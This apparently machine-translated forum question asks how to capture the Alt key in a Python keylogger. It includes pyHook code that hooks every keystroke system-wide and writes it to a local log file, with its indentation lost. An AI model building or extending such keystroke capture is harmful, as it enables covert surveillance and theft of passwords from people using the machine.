当我遇到问题时,我正在编写这个类型记录程序 -Alt密钥没有 Ascii 编号,因此我无法以常规方式挂钩它。这是我没有钩子尝试的源代码Alt,问题是 - 我如何钩子Alt?我知道有一个名为“Alt”的类变量和一个名为“IsAlt”的内置函数,但我不知道如何使用它们。
import pythoncom,pyHook
log = ""
logpath = "log.txt"
openfile = open(logpath,"w")
openfile.write("")
def OnKeyboardEvent(event):
try:
global log
if event.Ascii == 8:
log = "[BS]"
elif event.Ascii == 9:
log = "[TAB]"
elif event.Ascii == 13:
log = "[NL]"
elif event.Ascii == 27:
log = "[ESC]"
elif event.Ascii == 15:
openfile.close()
exit()
else:
log = chr(event.Ascii)
openfile.write(log)
except:
pass
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()